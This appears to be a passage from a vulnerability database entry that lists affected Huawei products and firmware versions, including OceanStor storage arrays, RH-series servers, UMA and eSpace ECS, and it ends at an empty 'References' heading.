Huawei>>Oceanstor_18800_firmware >> Version v100r001c30spc300
Huawei>>Oceanstor_18800 >> Version -
Configuraton 0
Huawei>>Oceanstor_18800f_firmware >> Version v100r001c30spc300
Huawei>>Oceanstor_18800f >> Version -
Configuraton 0
Huawei>>Oceanstor_hvs85t_firmware >> Version v100r001c00
Huawei>>Oceanstor_hvs85t_firmware >> Version v100r001c30spc200
Huawei>>Oceanstor_hvs85t >> Version -
Configuraton 0
Huawei>>Oceanstor_hvs88t_firmware >> Version v100r001c00
Huawei>>Oceanstor_hvs88t_firmware >> Version v100r001c30spc200
Huawei>>Oceanstor_hvs88t >> Version -
Configuraton 0
Huawei>>Rh1288_v2_firmware >> Version v100r002c00
Huawei>>Rh1288_v2 >> Version -
Configuraton 0
Huawei>>Rh1288a_v2_firmware >> Version v100r002c00
Huawei>>Rh1288a_v2 >> Version -
Configuraton 0
Huawei>>Rh2265_v2_firmware >> Version v100r002c00
Huawei>>Rh2265_v2 >> Version -
Configuraton 0
Huawei>>Rh2268_v2_firmware >> Version v100r002c00
Huawei>>Rh2268_v2 >> Version -
Configuraton 0
Huawei>>Rh2285_v2_firmware >> Version v100r002c00
Huawei>>Rh2285_v2 >> Version -
Configuraton 0
Huawei>>Rh2285h_v2_firmware >> Version v100r002c00
Huawei>>Rh2285h_v2 >> Version -
Configuraton 0
Huawei>>Rh2288_v2_firmware >> Version v100r002c00
Huawei>>Rh2288_v2 >> Version -
Configuraton 0
Huawei>>Rh2288a_v2_firmware >> Version v100r002c00
Huawei>>Rh2288a_v2 >> Version -
Configuraton 0
Huawei>>Rh2288e_v2_firmware >> Version v100r002c00
Huawei>>Rh2288e_v2 >> Version -
Configuraton 0
Huawei>>Rh2288h_v2_firmware >> Version v100r002c00
Huawei>>Rh2288h_v2 >> Version -
Configuraton 0
Huawei>>Rh2485_v2_firmware >> Version v100r002c00
Huawei>>Rh2485_v2 >> Version -
Configuraton 0
Huawei>>Rh5885_v2_firmware >> Version v100r001c00
Huawei>>Rh5885_v2 >> Version -
Configuraton 0
Huawei>>Rh5885_v3_firmware >> Version v100r003c00
Huawei>>Rh5885_v3 >> Version -
Configuraton 0
Huawei>>Smc2.0_firmware >> Version v500r002c00
Huawei>>Smc2.0_firmware >> Version v600r006c00
Huawei>>Smc2.0 >> Version -
Configuraton 0
Huawei>>Seco_vsm_firmware >> Version v200r002c00
Huawei>>Seco_vsm >> Version -
Configuraton 0
Huawei>>Uma_firmware >> Version v200r001c00
Huawei>>Uma_firmware >> Version v300r001c00
Huawei>>Uma >> Version -
Configuraton 0
Huawei>>X6000_firmware >> Version v100r002c00
Huawei>>X6000 >> Version -
Configuraton 0
Huawei>>X8000_firmware >> Version v100r002c20
Huawei>>X8000 >> Version -
Configuraton 0
Huawei>>Elog_firmware >> Version v200r003c10
Huawei>>Elog >> Version -
Configuraton 0
Huawei>>Espace_ecs_firmware >> Version v300r001c00
Huawei>>Espace_ecs >> Version -
References